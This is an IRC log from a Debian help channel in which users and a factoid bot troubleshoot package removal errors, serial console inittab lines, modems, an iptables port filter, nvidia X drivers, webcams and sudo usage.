| 17:41.10 | lehel | jetx: Removing gforge-db-postgresql ... |
| 17:41.10 | lehel | kill: usage: kill [-s sigspec | -n signum | -sigspec] [pid | job]... or kill -l [sigspec] |
| 17:41.10 | lehel | dpkg: error processing gforge-db-postgresql (--remove): |
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| 17:41.31 | Lafy | i dont want to switch to grub... i'm content with crappy simple old lilo.... |
| 17:41.35 | jetx | Lafy: i always check. ls /boot, then verify that the symoinks in / point to the proper initrd and vmlinuz, then i rerun lilo just for the f of it |
| 17:41.41 | lehel | gforge is tough huh?.. zzz |
| 17:41.42 | dak | lehel read the help for dpkg and try all the options u can till 1 works. |
| 17:41.42 | stew | Lafy: if you use lilo you need to be mindful of the initrd, it should warn you when you install |
| 17:41.44 | jetx | symlinks |
| 17:41.53 | berzerka | netbrain: try dpkg-reconfigure console-data |
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| 17:42.14 | netbrain | berzerka: thanks |
| 17:42.35 | berzerka | netbrain: tell me if that works, i have no idea :) |
| 17:42.49 | ^Willie^ | hello ? |
| 17:42.54 | netbrain | lol it did |
| 17:42.55 | jetx | lehel: i may have had to install shit just to get rid of gforge. like postgres. but it was a while ago. |
| 17:42.57 | netbrain | æøå |
| 17:43.00 | berzerka | hehe |
| 17:43.00 | netbrain | muahaha |
| 17:43.04 | netbrain | thanks again |
| 17:43.05 | resiak | !anyone use |
| 17:43.05 | berzerka | nice. |
| 17:43.05 | dpkg | No, no one uses it, not even the people who use it. |
| 17:43.10 | berzerka | welcome |
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| 17:43.19 | tarzeau | !debstats |
| 17:43.19 | dpkg | i heard debstats is managed by sussudio, or http://debstats.dontexist.org/ |
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| 17:43.25 | jetx | i like dpkg-reconfigure locales && dpkg-reconfigure console-data |
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| 17:44.18 | PGMSmurf | salut |
| 17:44.26 | PGMSmurf | hi |
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| 17:44.43 | Mardus | Is there a quick guide on how to extract a tar.gz archive? |
| 17:44.44 | ^Willie^ | who can help me a moment with some inittab config ? |
| 17:44.51 | stew | !tar |
| 17:44.51 | dpkg | Extract tar: "tar xf foo.tar"; Extract tar.gz: "tar xzf foo.tar.gz"; Extract tar.bz2: "tar xjf foo.tar.bz2"; bar extraction command hard to remember? use apt-get install unp; unp foo.bar; Create tar.gz: "tar czf foo.tar.gz directory"; Create tar.bz2: "tar cjf foo.tar.bz2 directory" |
| 17:44.55 | lehel | jetx i cannot install anymore postgresql... and the apt-get -f install command crashes too |
| 17:44.58 | dak | tar -zxvf tar.gz tar -jxvf tar.bz |
| 17:44.59 | ^Willie^ | tar -xvzpf file |
| 17:45.03 | ^Willie^ | tar -xvzpf file -C dest |
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| 17:45.12 | lehel | E: Unmet dependencies. Try 'apt-get -f install' with no packages (or specify a solution). |
| 17:45.20 | ^Willie^ | -xvjpf for tart.bz2 |
| 17:45.35 | dak | u dint need p whillie |
| 17:45.36 | stew | lehel: Try 'apt-get -f install' |
| 17:45.55 | lehel | i tried!!!.. it's not working.. crashes!:( |
| 17:46.00 | ^Willie^ | i whas only trying to help |
| 17:46.13 | ^Willie^ | but like always every one is ignoring new ppl in here |
| 17:46.19 | lehel | Errors were encountered while processing: gforge-ldap-openldap, gforge-db-postgresql |
| 17:46.43 | lehel | shit on this gforge!! .. i hate'm |
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| 17:47.14 | stew | lehel: have you checked to bts? |
| 17:47.23 | stew | ^to^the |
| 17:47.30 | lehel | "bts" < ??? |
| 17:47.45 | resiak | ^Willie^: Complaining about your questions being ignored? /msg dpkg smart questions , and people remember how hard you were to help last night. Oh, and the irritating-to-type leading ^ can't help. |
| 17:47.47 | stew | generall bts > ??? |
| 17:47.58 | ^Willie^ | sigh i don't need a bot |
| 17:48.15 | dak | whillie what is your problem |
| 17:48.17 | FieldySnuts | !nickometer ^Willie^ |
| 17:48.17 | dpkg | '^Willie^' is 26.000% lame, fieldysnuts |
| 17:48.23 | ^Willie^ | i just want to know if someone use serial console and yes how he did that since debian don't work like the manual told |
| 17:48.28 | lehel | stew: what means "bts"? |
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| 17:48.54 | stew | lehel: /msg dpkg bts |
| 17:48.58 | stew | lehel: (read the /topic) |
| 17:49.01 | ^Willie^ | norkal use S0:12345:respawn bla bla ttyS0 speed vt100 |
| 17:49.10 | resiak | ^Willie^: You need to learn how to ask a good question. A good question would be "I'm having trouble booting to serial console with the Sarge installer on x86. My problem is x --- what am I doing wrong?" |
| 17:49.20 | ^Willie^ | debian manuals talk about moment i must look agian |
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| 17:49.26 | FieldySnuts | which is why people aren't answering |
| 17:49.41 | ^Willie^ | T0:23:respawn |
| 17:49.45 | ^Willie^ | but both not work |
| 17:50.01 | ^Willie^ | :S |
| 17:50.07 | FieldySnuts | looks like a way too short inittab line |
| 17:50.09 | resiak | ^Willie^: Stop hitting enter every three words and STATE YOUR PROBLEM CLEARLY AND PRECISELY |
| 17:50.15 | ^Willie^ | when asking 2 day`s you get annoyed |
| 17:50.28 | FieldySnuts | when being asked unclear and vague questions, you also get annoyed |
| 17:50.37 | ^Willie^ | but still no info |
| 17:50.38 | dak | whillie /etc/inittab has examples in it for your problem. |
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| 17:50.48 | ^Willie^ | :S |
| 17:50.54 | ^Willie^ | what do i write 30 sec ago |
| 17:50.57 | resiak | FieldySnuts: Great minds etc? |
| 17:51.02 | ^Willie^ | it won't work that way |
| 17:51.12 | ^Willie^ | just get errors |
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| 17:51.49 | ^Willie^ | ttyS0 and ttyS1 are on but i can't find it back in /dev/ |
| 17:52.02 | ^Willie^ | other point i have installed udev and it still use the old /devfs |
| 17:52.08 | dak | i give up |
| 17:52.18 | lehel | me to |
| 17:52.24 | Lafy | if i want to drop packets on port 25 that aren't coming from an ip would this be corrct? |
| 17:52.24 | Lafy | iptables -A INPUT -p tcp --destination-port 25 -s ! 69.63.32.91 -j DROP |
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| 17:52.54 | kryptech | I have kind of a stupid question that I should know the answer to |
| 17:52.57 | FieldySnuts | probably have to escape the ! and remove the space after it such as |
| 17:53.01 | FieldySnuts | \!someip |
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| 17:53.18 | ioerror | Does anyone have any pointers to setting up a debian chroot on a suse box? |
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| 17:53.20 | feross | http://pastebin.com/322531 <- trying to compile maildrop and it errors out.. can anyone tell me what is causing the error? |
| 17:53.33 | dak | thats a classic question |
| 17:53.39 | dak | debian chroot on suse |
| 17:53.47 | indy | hi everybody! |
| 17:53.48 | ^Willie^ | :S |
| 17:53.55 | FieldySnuts | yeah... i feel kind of bad, neitner #debian or #suse is really 100% the right place to ask heh |
| 17:53.59 | resiak | Hi, Dr Nick! |
| 17:54.05 | kryptech | I need to use a linksys wireless card to get acess to a wireless router (also by linksys), someone told me I needed a special debian package to do this and configure it, I couldnt find any kerenel stuff on it, but does anyone know how to help? |
| 17:54.17 | dak | kryptech ndiswrapper. |
| 17:54.26 | dak | ?? ndiswrapper |
| 17:54.27 | kryptech | what is that? |
| 17:54.31 | stew | !wayc feross |
| 17:54.32 | dpkg | feross: Why are you compiling instead of using apt-get? |
| 17:54.36 | dak | lets u use windows drivers on linux |
| 17:54.38 | dak | for wifi |
| 17:54.41 | Mardus | So I got tomsrtbt on a diskette, looks like a successful install. Question: Is this diskette bootable? |
| 17:54.44 | dak | dpkg ndiswrapper ?> |
| 17:54.46 | dak | dpkg ndiswrapper ?? |
| 17:54.46 | dpkg | somebody said ndiswrapper was a way to wrap Windows drivers so that they can be used on Linux. If there is a Linux driver for your card, use that instead; if there isn't, email your manufacturer and ask for one (since it's better for everyone involved if there are real drivers), then ask me about "ndiswrapper one-liner" for information on setting up ndiswrapper. If you don't yet own a card, consider buying one that has real Linux drivers. |
| 17:54.49 | stew | feross: are you trying to compile the debian package? or the upstream tarball? |
| 17:54.58 | ^Willie^ | any way witch init file is generating 150 lines with this message |
| 17:54.58 | ^Willie^ | Couldnt get a file descriptor referring to the console |
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| 17:56.03 | ouch | when i '/dev/tty1 ident' i get Permission denied...i am root....any suggestions? |
| 17:56.40 | Mardus | goccia: Just to confirm -- Is tomsrtbt disk image bootable? |
| 17:56.42 | resiak | ouch: /dev/tty1 isn't a program. What are you trying to do? |
| 17:56.53 | goccia | Mardus: sure it is |
| 17:56.59 | Mardus | goccia, ok thanks. |
| 17:57.02 | ouch | i am tryig to set up my modem...USR external |
| 17:57.11 | resiak | eeyore-: I can think of many reasons. Money is one. |
| 17:57.17 | feross | dpkg: sorry had to go for a sec. |
| 17:57.30 | ouch | it doesnt respond to atdt commands |
| 17:57.32 | feross | dpkg: installing qmailrocks.org from source. |
| 17:57.43 | resiak | feross: You do realise that dpkg is not a real person, don't you? |
| 17:57.48 | ^Willie^ | any way witch init file is generating 150 lines with this message |
| 17:57.49 | ^Willie^ | Couldnt get a file descriptor referring to the console |
| 17:57.49 | eeyore- | resiak: that's the wal-mart argument |
| 17:57.50 | lehel | uhhhhhhhh.. dpkg -force it's not enough tough |
| 17:57.54 | resiak | feross: Don't do that. Use the qmail packages in non-free. |
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| 17:58.21 | feross | resiak: ohh sure I knew he was a bot :P |
| 17:59.05 | feross | stew: hey so does that answer your question? |
| 17:59.22 | ^Willie^ | <PROTECTED> |
| 17:59.22 | ^Willie^ | Couldnt get a file descriptor referring to the console |
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| 17:59.50 | marcel__ | why are there no more updates for sid |
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| 18:00.06 | resiak | !topicsmite marcel__ |
| 18:00.08 | dpkg | And the wrath of /TOPIC descended with terrible fury upon marcel__. And all the people marveled, saying, Behold, we too should read the /TOPIC, lest we be stricken. And all the people read the /TOPIC, and went away edified. |
| 18:00.10 | resiak | Oh wait |
| 18:00.14 | resiak | It got removed. |
| 18:00.18 | marcel__ | heh |
| 18:00.20 | marcel__ | smart |
| 18:00.24 | ottoaim | http://www.mcplusplus.com/downloads/ this is too awesome |
| 18:00.26 | stew | feross: no it doean't answer my question |
| 18:00.34 | ^Willie^ | any way witch init file is generating 150 lines with this message |
| 18:00.35 | ^Willie^ | Couldnt get a file descriptor referring to the console |
| 18:00.37 | eeyore- | which part of topic might that be? gcc/g++ upgrade? |
| 18:00.41 | resiak | marcel__: Various computers are moving. You should be subscribed to debian-devel-announce , and this would have told you. |
| 18:00.41 | stew | feross: i asked, "why are you compiling", and your answer was "i'm compiling" |
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| 18:01.04 | marcel__ | resiak, ok, where can i subscribe to that? it is a mailing list? |
| 18:01.07 | roler | what is a good windows virus' linux based scanner? I need to setup an email server with a scanner |
| 18:01.13 | EruditeHermit | it was supposed to have been done by "Monday at the latest" |
| 18:01.17 | EruditeHermit | =p |
| 18:01.19 | resiak | !tell marcel__ about dda |
| 18:01.24 | ouch | resiak, the 'echo atdt3333333 > /dev/tty1' does not work. |
| 18:01.29 | resiak | !tell ouch -about msg |
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| 18:01.41 | eeyore- | there is no "debian computers moving" in /topic |
| 18:01.44 | feross | stew: oh, well that's how the qmailrocks.org howto is written and it's what they recommend :/ |
| 18:01.52 | resiak | ouch: I know jack shit about modems, but I do know that /dev/tty1 isn't your modem, it's your terminal. |
| 18:01.55 | resiak | eeyore-: 19:04 resiak : It got removed. |
| 18:02.32 | eeyore- | topicsmite-happy people :-p |
| 18:02.45 | resiak | Ssh :) |
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| 18:03.03 | ouch | ok...the site i'm reading says that /dev/tty1 is serial port one...where my modem is located |
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| 18:03.22 | hyde | ouch: more likely ttyS0 or ttyS1 |
| 18:03.37 | ouch | i'll try that |
| 18:03.48 | eeyore- | ouch: /dev/ttyS* are your serial devices |
| 18:04.08 | eeyore- | ouch: and, you're better off with "atxdt.....", the "x" means "don't wait for dialtone". good for testing. |
| 18:04.11 | stew | feross: you should be asking on #qmailrocks.com then, not here |
| 18:04.26 | eeyore- | ouch: if your modem is com1, it'll be on /dev/ttyS0. com2 = ttyS1, etc. |
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| 18:04.52 | ouch | thanks...ill try that now! |
| 18:05.03 | eeyore- | ouch: however, there was someone here earlier with a plug-in PCI modem that somehow grabbed /dev/ttyS14 for itself. odd. |
| 18:05.12 | jason^ | is xorg the current x server on debian/testing? |
| 18:05.12 | ^Willie^ | and how to tell debian to start an console on ttyS0 :S |
| 18:05.17 | resiak | jason^: No. |
| 18:05.25 | ^Willie^ | only error messages are sended to serial |
| 18:05.26 | eeyore- | ^Willie^: getty |
| 18:05.26 | jason^ | ok so i should continue to use xfree |
| 18:05.32 | resiak | jason^: Oh, incidentally, you have access to packages.debian.org like the rest of us. |
| 18:05.34 | ^Willie^ | i did but don't work |
| 18:05.56 | eeyore- | willy: you only want error messages to the serial port? or, do you want full interactivity (e.g., login , etc) on it too? |
| 18:06.10 | ^Willie^ | it`s rebooting now i can't copy config lines atm |
| 18:06.14 | ^Willie^ | yes |
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| 18:06.19 | ^Willie^ | i want a logon on serial |
| 18:06.33 | ^Willie^ | and not only errors but the config is fine moment i paste some |
| 18:06.37 | eeyore- | willy: if it "doesn't work" then you "didn't do it right". so, edit /etc/inittab already |
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| 18:06.59 | roler | are there no windows viruss linux based scanners? |
| 18:07.06 | resiak | roler: clamav |
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| 18:07.12 | resiak | !tell roler -about search |
| 18:07.20 | ^Willie^ | debian use |
| 18:07.20 | ^Willie^ | T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100 |
| 18:07.25 | ^Willie^ | that is not working |
| 18:07.26 | eeyore- | roler: yep. postfix + spamassassin + amavis is a perfect trio |
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| 18:07.31 | ouch | msg eeyore- so this command should make the lights flash? 'echo atxdt3333333 > /dev/ttyS1' I must be doing something wrong...cause it's not working! |
| 18:07.39 | roler | perfect |
| 18:07.39 | ^Willie^ | S0:23:respawn:/sbin/getty -L ttyS0 115200 linux |
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| 18:07.41 | roler | you guys rock |
| 18:07.44 | ^Willie^ | like gentoo do is not working |
| 18:07.52 | FieldySnuts | !win roler |
| 18:07.53 | dpkg | Congratulations, roler! You have won second prize in a beauty contest! |
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| 18:07.55 | ^Willie^ | INIT: Id "T0" respawning too fast: disabled for 5 minutes |
| 18:07.55 | ^Willie^ | INIT: Id "S1" respawning too fast: disabled for 5 minutes |
| 18:08.09 | roler | lol |
| 18:08.21 | netbrain | !win netbrain |
| 18:08.22 | dpkg | Congratulations, netbrain! You have won second prize in a beauty contest! |
| 18:08.24 | dimir | !beer |
| 18:08.24 | dpkg | beer is probably liquid gold mate |
| 18:08.25 | Lee__ | ^Willie^: that's a mighty fast speed for your serial port! |
| 18:08.25 | netbrain | wohoo |
| 18:08.37 | dimir | !beer dimir |
| 18:08.38 | tosh | im using a philips usb webcam. the correct module is loaded, the /dev/video0 device is created, applications like camstream can find the device but when I try to get input from the webcam, all I get is black.. I tested the same cam under win and it works great, so its not a hw issue. any ideas? |
| 18:08.43 | dimir | hehe |
| 18:08.45 | eeyore- | ouch: try it with minicom. or, make sure you insert enough pauses ... some modems don't like to wake up and be fed commands immediately |
| 18:08.50 | dimir | !beer * |
| 18:08.52 | igge | how come synaptic wants to remove several packades (among them gnome) when I want to do an upgrade? |
| 18:08.56 | eeyore- | ouch: e.g., echo '............atxdt' |
| 18:08.58 | resiak | !tell dimir -about msgdpkg |
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| 18:09.03 | tech13 | had a bad memory stick, took it out, now a few programs are acting a bit strange still, is there an easy way to verify program files weren't damaged during my memory problems? |
| 18:09.25 | ^Willie^ | Lee__ no the speed is ok |
| 18:09.31 | ^Willie^ | it work till it start init |
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| 18:09.41 | eeyore- | willy: the respawning too fast means init tried to launch getty, but getty quit for some reason |
| 18:09.44 | ^Willie^ | btw on gentoo and original os is it working from bios at 115200 |
| 18:09.53 | eeyore- | willy: find out why getty died :-) and you will have solved your problem |
| 18:10.05 | resiak | eeyore-: Please stop abbreviating ^Willie^ to willy. You're breaking /ignore -replies ;) |
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| 18:10.29 | eeyore- | resiak: habit |
| 18:10.35 | resiak | eeyore-: ^<TAB> |
| 18:10.43 | ^Willie^ | other point is normal linuc dist give one error about somthing but here in debian i get 150 lines with |
| 18:10.43 | ^Willie^ | Couldnt get a file descriptor referring to the console |
| 18:10.44 | Mardus | goccia: Thanks, it tomsrtbt was useful. |
| 18:10.47 | eeyore- | ouch: told ya, echo '......atxdt' |
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| 18:10.49 | dimir | on some channels you get banned because a nick like that |
| 18:10.56 | ^Willie^ | there is no vga console and it shut not be a problem |
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| 18:11.00 | eeyore- | ouch: besides, are you *sure* your modem is on com1? |
| 18:11.05 | eeyore- | ouch: try minicom, dude :-> |
| 18:11.14 | SDFH_Linux | whats the command to get the kde desktop? |
| 18:11.29 | eeyore- | ^Willie^: did you actually have the proper modules loaded for serial port operation? |
| 18:11.31 | dimir | SDFH_Linux: to run kde you mean? |
| 18:11.36 | SDFH_Linux | yes |
| 18:11.38 | dimir | SDFH_Linux: startkde |
| 18:11.52 | SDFH_Linux | no to install i mean |
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| 18:11.59 | SDFH_Linux | all of kde |
| 18:12.02 | csdgp | SDFH_Linux: apt-get install kde |
| 18:12.04 | dimir | SDFH_Linux: apt-get install kdebase |
| 18:12.07 | PerfDave | SDFH_Linux: /msg dpkg install kde |
| 18:12.11 | jeukku_ | -part |
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| 18:12.24 | stew | tech13: debsums |
| 18:12.26 | ^Willie^ | yes |
| 18:12.28 | ioerror | if anyone wants to install debian into a chroot for testing purposes, I suppose this is the document: http://www.debian.org/releases/stable/i386/apcs04.html.en |
| 18:12.32 | ^Willie^ | moment i have to send some log files |
| 18:12.51 | dimir | ioerror: I use debootstrap for that |
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| 18:13.00 | tech13 | stew: thank you :) |
| 18:13.00 | Uncle_CM | does anybody know something about nvidia driver? i ve installed them but ther is no direct rendering |
| 18:13.03 | dimir | simple and works |
| 18:13.08 | RedDrake | ioerror: have any ideas how a new kernel could be tested in a chroot enviroment? |
| 18:13.18 | eeyore- | Uncle_CM: did you load "nv" or "nvidia" module for X? |
| 18:13.18 | dimir | user mod linux |
| 18:13.19 | Lee__ | ioerror: debootstrap works very good. |
| 18:13.20 | ^Willie^ | eeyore- watch this |
| 18:13.29 | stew | RedDrake: uml or xen |
| 18:13.40 | Uncle_CM | eeyore-: nvidia and x is running |
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| 18:13.44 | ioerror | dimir, not possible with suse and without debootstrap installed, this gets you to that point |
| 18:13.46 | eeyore- | Uncle_CM: did you load "nv" or "nvidia" module for X? |
| 18:13.55 | Lee__ | Xen needs a custom kernel |
| 18:13.57 | ioerror | RedDrake, yeah, with qemu or bochs |
| 18:13.59 | ^Willie^ | Kernel command line: console=ttyS0,115200 debug ip=off |
| 18:13.59 | ^Willie^ | Serial: 8250/16550 driver $Revision: 1.90 $ 6 ports, IRQ sharing disabled |
| 18:13.59 | ^Willie^ | ttyS0 at I/O 0x3f8 (irq = 4) is a 16550A |
| 18:13.59 | ^Willie^ | ttyS1 at I/O 0x2f8 (irq = 3) is a 16550A |
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| 18:14.03 | stew | Lee__: so does uml |
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| 18:14.11 | Lee__ | but UML runs in user space |
| 18:14.14 | ioerror | lee, but suse lacks it until you've got it installed, that article fills in the caps |
| 18:14.20 | ioerror | UML is total crap |
| 18:14.23 | Lee__ | Xen boots into it's own kernel as the root domain |
| 18:14.26 | Uncle_CM | eeyore-: nvidia |
| 18:14.27 | dimir | ioerror: oh, you ment to install Debian in chroot in a non-Debian evnironment? :-) |
| 18:14.32 | ioerror | dimir, yes |
| 18:14.34 | yoo | Hi all ! |
| 18:14.42 | stew | ioerror: /msg dpkg chroot install |
| 18:14.42 | ioerror | dimir, for building packages correctly |
| 18:14.44 | dimir | ioerror: that figures |
| 18:15.06 | eeyore- | Uncle_CM: are you sure? then you should have acceration |
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| 18:15.23 | ioerror | thanks stew |
| 18:15.36 | ronrad | hello, I got 2 servers behind 1 dsl router, the router forwards port 22 to port 22 of server A and port 222 to port 22 of server B (because I want to be able to login with ssh to both servers). How can I prevent my client from complaining about "Men in the middle attacks" (since both are on the same IP, but have different keys) |
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| 18:16.01 | Uncle_CM | eeyore-: yes im sure ... its loaded ... but there is an error ... i dont know the englisch meaning: "speicherzugriffsfehler" |
| 18:16.03 | Vibhuti | jetx:i have found the error |
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| 18:16.18 | Vibhuti | it says sothin ieror in GLCore |
| 18:16.27 | Vibhuti | and font speedo |
| 18:16.44 | Lee__ | ronrad: I think there's a configuration setting in sshd_config |
| 18:16.47 | eeyore- | Uncle_CM: put the X log file on web server somewhere i can read |
| 18:16.53 | ioerror | stew, that isn't actually as useful for what i'm talking about as the link i pasted |
| 18:16.59 | eeyore- | Uncle_CM: /var/log/*X*0*log (check the dates, there may be several) |
| 18:17.07 | ronrad | lee_: thanks, I'll check it out |
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| 18:17.12 | Vibhuti | jetx |
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| 18:17.27 | tosh | im using a philips usb webcam. the correct module is loaded, the /dev/video0 device is created, applications like camstream can find the device but when I try to get input from the webcam, all I get is black.. I tested the same cam under win and it works great, so its not a hw issue. any ideas? |
| 18:17.28 | Uncle_CM | eeyore-: okay ... |
| 18:17.37 | ronrad | strictmodes? |
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| 18:17.55 | yoo | i' running on kernel 2.6.11 and last driver nvidia |
| 18:17.56 | Vibhuti | my xserver is crashing |
| 18:18.00 | youknow-who | hello, what software could I use best for my hp digital camera? |
| 18:18.01 | Vibhuti | wheni say startx |
| 18:18.04 | ^Willie^ | eeyore- ??? |
| 18:18.05 | PerfDave | ronrad: I don't think there's any way that you can configure ssh to distinguish between two ssh servers on different ports of the same IP / host |
| 18:18.09 | yoo | i ha ve a problem when i launch quake3 |
| 18:18.19 | Vibhuti | GLcore error |
| 18:18.19 | yoo | X error of failed request: BadValue (integer parameter out of range for operation |
| 18:18.22 | stew | dpkg: chroot install is also http://www.debian.org/releases/stable/i386/apcs04.html.en |
| 18:18.22 | dpkg | stew: okay |
| 18:18.27 | yoo | Major opcode of failed request: 135 |
| 18:18.33 | yoo | Minor opcode of failed request: 10 |
| 18:18.35 | Vibhuti | speedo font error |
| 18:18.36 | eeyore- | ^Willie^: little busy, maybe others can help you. what i said still applies. find out why getty dies immediately (probably wrong parameter or some such) and you'll have solved your problem |
| 18:18.36 | ronrad | perfdave: that would be too bad, would different hostnames make a difference? |
| 18:18.37 | youknow-who | hello, what software could I use best for my hp digital camera? You see, I just bought it and i have taken some pictures for it has cdrom and verything on it but no software for linux so yes help me know please |
| 18:18.39 | yoo | <PROTECTED> |
| 18:18.42 | Vibhuti | some module problem |
| 18:18.45 | yoo | Shutdown tty console |
| 18:18.53 | PerfDave | ronrad: It should do, yes. |
| 18:19.01 | yoo | AN idea ? |
| 18:19.03 | ronrad | perfdave: great... thanks! |
| 18:19.16 | eeyore- | youknow-who: have you actually tried pluggin the camera into linux? |
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| 18:19.41 | tech13 | debsum of package 'passwd' shows 5 mismatches, all of them are just man pages. should i be worried? |
| 18:19.41 | yoo | Yet enemy territory work fine ! |
| 18:19.51 | eeyore- | tech13: nah |
| 18:20.09 | Vibhuti | guys |
| 18:20.23 | eeyore- | tech13: unless you suspect something else, like screwed up filesystem or something |
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| 18:20.24 | youknow-who | eeyore-: yes I need the software for vieuwing the pictures to my pc or uploading them |
| 18:20.32 | youknow-who | eeyore-: it has been reconised and such |
| 18:20.36 | Vibhuti | guys |
| 18:20.49 | eeyore- | youknow-who: have you *actually* tried to hook it up so *at least* you know you can access the camera as a usb-storage device? |
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| 18:21.01 | eeyore- | youknow-who: if you *can*, you don't need no stinking "download software" |
| 18:21.18 | kaiowa | hi, i am trying to apt-get install kerne-image-xxxx, but it said that apt-get -f install, i do it, but i allways contine the error, anyhelp |
| 18:21.24 | eeyore- | youknow-who: you just copy the files, and then use whatever your favourite photo album app to manage them. i use gthumb and shell scripts |
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| 18:22.33 | useruser | youknow-who: you may want to try gphoto2 |
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| 18:23.19 | Uncle_CM | eeyore-: http://www.yaphpsys.de/Xorg.0.log |
| 18:23.43 | csdgp | youknow-who: I used Kamera a while back with some success. Also, doing an "apt-cache search camera" yields several packages that may be of use. |
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| 18:24.17 | useruser | kaiowa: any particular error? |
| 18:24.24 | rodmur | how do you switch window mangers in Gnome on debian? |
| 18:24.28 | detzli | i've added a 3rd party repository to my apt-sources.. how can i see what packages i have installed from it? |
| 18:24.38 | rodmur | I want to use sawfish instead of metacity... |
| 18:24.55 | useruser | rodmur: killall metacity; sawfish |
| 18:25.06 | useruser | rodmur: although that's probably not an effective long-term solution |
| 18:25.21 | rodmur | useruser: is there a long term solution? |
| 18:25.24 | rodmur | ;) |
| 18:25.26 | csdgp | rodmur: IIRC, there's a config option in the gnome control panel |
| 18:25.29 | useruser | rodmur: i don't know, I'm not a gnome user |
| 18:25.40 | rw` | I've created a personal package that simply adds a user/group and patches /etc/inittab. I've tried installing it in a system where /etc/inittab was already hand modified, now I am trying to force the removal of this package (dpkg -r package --force-all) without sucess. Here is the current status: iHR pmc-login 1.0 Any idea? |
| 18:25.43 | eeyore- | Uncle_CM: you did *NOT* load "nvidia_drv" module. you loaded the *non-accelerated* "nv_drv" module |
| 18:25.56 | eeyore- | Uncle_CM: i told you to make sure. you didn't. |
| 18:25.59 | stew | detzli: afaik there is no way |
| 18:26.22 | eeyore- | Uncle_CM: look for "Driver" line with "nv" in it. replace "nv" with "nvidia" |
| 18:26.51 | rodmur | csdgp: I changed in gconf-editor desktop->gnome->applications->winow_manager to /usr/bin/sawfish |
| 18:26.58 | kaiowa | the error :`/usr/share/locale/da/LC_MESSAGES/gksu.mo', broken pipe |
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| 18:27.21 | rodmur | csdgp: but it still starts metacity... even update-alternatives to sawfish |
| 18:27.23 | tech13 | i have an email in evolution that causes evolution to crash everytime i try to reply to it. i can reply to other emails (even from the same folder), just not that one. Where do i start looking for what my problem is? |
| 18:27.26 | kaiowa | and allways i try apt, error appear |
| 18:27.27 | Uncle_CM | eeyore-: but i was sure i used the nvidia module ... lsmod shows the nvidia module too ... |
| 18:27.35 | eeyore- | Uncle_CM: that's different |
| 18:27.40 | stew | tech13: /msg dpkg bts |
| 18:27.46 | eeyore- | Uncle_CM: i wasn't talking about KERNEL MODULE. i was talking about X driver module |
| 18:27.55 | ioerror | oh wait, i lied |
| 18:27.55 | ioerror | http://people.debian.org/~blade/install/debootstrap/ |
| 18:28.00 | ioerror | That's such crap |
| 18:28.07 | eeyore- | Uncle_CM: e.g., Driver "nv" in xorg.conf file |
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| 18:28.29 | echnaton | is there a howto for complining your own kernel? but it shoud be current |
| 18:28.30 | echnaton | ? |
| 18:28.38 | echnaton | +l |
| 18:28.41 | Uncle_CM | eeyore-: sorry ... my fault ... i have editet the false config file *shame on me* |
| 18:28.42 | tosh | echnaton google |
| 18:28.47 | stew | echnaton: /msg dpkg kp |
| 18:28.55 | echnaton | that is not current |
| 18:29.00 | echnaton | working with 2.4* |
| 18:29.23 | stew | echnaton: what is not current? |
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| 18:29.55 | Vladi | hi, i want to start a perl scrip with the snort user i have "su - -c "/root/bin/snort-shorewall/ss.pl start" snort" but its not working can somone pls help? |
| 18:30.53 | tosh | Vladi if I have to guess, the user can't access or execute that file because its in the /root dir |
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| 18:31.09 | csdgp | Vladi: su - snort -c "file" |
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| 18:31.10 | Vladi | tosh: good point |
| 18:31.27 | eeyore- | Vladi: /root, /root/bin, /root/bin/short-shorewall, and/or /root/bin/snort-shorewall/ss.pl is not +rx to "snort" user |
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| 18:31.41 | tosh | anyone know why my webcam keeps giving me blank/black pics? |
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| 18:31.46 | eeyore- | Vladi: this is good candidate for /usr/local/bin |
| 18:31.48 | Simplexe | hi,all |
| 18:31.59 | eeyore- | tosh: censorship? |
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| 18:32.09 | eeyore- | tosh: you weren't trying to take naked pictures of yourself, were you? |
| 18:32.19 | tosh | eeyore I'm in europe, we don't need to censor :) |
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| 18:32.28 | tosh | eeyore we have common-sense-powah! |
| 18:32.30 | Vladi | eeyore-: ok put the perl script there and then sudo |
| 18:32.35 | useruser | rodmur: i took a look in gnome. try desktop->preferences->sessions->current session and remove metacity and put something else in there |
| 18:32.41 | eeyore- | Vladi: yeah, sudo is a better choice anyway |
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| 18:33.37 | eeyore- | Vladi: but remember that to sudo, you have to "sudo -u", otherwise the "run-as-user" part won't match in your sudo.conf |
| 18:33.43 | Simplexe | i'm using the netinstaller debian sarge for installing , but at 5% on the detection of hardware he stops ,any ideas ?? |
| 18:33.50 | stew | Vladi: what shell does the snort user have? |
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| 18:34.01 | stew | Vladi: if its /bin/false or somehting su -c wont work |
| 18:34.07 | scarynetworkguy | !any ideas |
| 18:34.08 | dpkg | Yeah, I have an idea! But I'll need a sack full of ground beef, a little WD-40, and 42 sex-crazed platypuses. And keep the NSA off my back for the next few minutes! |
| 18:34.15 | Vladi | stew: yup |
| 18:34.20 | eeyore- | tosh: how about light level? maybe your webcam really likes a lot of light |
| 18:34.23 | stew | Vladi: but sudo is the way to go anyway |
| 18:34.24 | scarynetworkguy | !tell Simplexe about smart questions. |
| 18:34.31 | Vladi | eeyore-: yeah has /bin/false as shell how do i use sudo to accomplish |
| 18:34.32 | tosh | eeyore I used it in windows and it was fine there |
| 18:34.43 | eeyore- | tosh: possibly wrong v4l device? |
| 18:34.53 | csdgp | Vladi: sudo -u snort command |
| 18:34.57 | tosh | eeyore the correct module is loaded and the software sees the /dev/video0 device :/ |
| 18:35.04 | goccia | rodmur: is a symlink in /etc/alternatives : man update-alternatives |
| 18:35.07 | Vladi | csdgp: ok thx |
| 18:35.12 | tosh | the pwc module for philips usbcams, and my model is supported |
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| 18:35.20 | eeyore- | tosh: which pwc is this? |
| 18:35.25 | Simplexe | ?? |
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| 18:35.38 | eeyore- | tosh: the old old pwc, the rewritten pwc, or the newly-reincorporated pwc? |
| 18:35.42 | tosh | eeyore the one thats in the unstable apt-tree and available as a module? |
| 18:35.49 | eeyore- | tosh: i have pwc driving my logitech orb and it's fine |
| 18:35.53 | positrix | this is going to sound like a really stupid question, but you did take the cap off, didn't you? |
| 18:35.56 | tosh | eeyore where did you get it? |
| 18:36.04 | eeyore- | tosh: one sec |
| 18:36.10 | tosh | eeyore is it the pwc or the pwcx module? |
| 18:36.28 | tosh | or are those the same? because there used to be (don't know if its still the case) two versions, one for normal, one for high res |
| 18:36.38 | eeyore- | tosh: sorry, link is at home somewhere. it's the same webpage that has "motion", i think |
| 18:36.44 | tosh | eeyore this thing can only do 640x480 so thats fine |
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| 18:37.20 | rodmur | goccia: takes more than that |
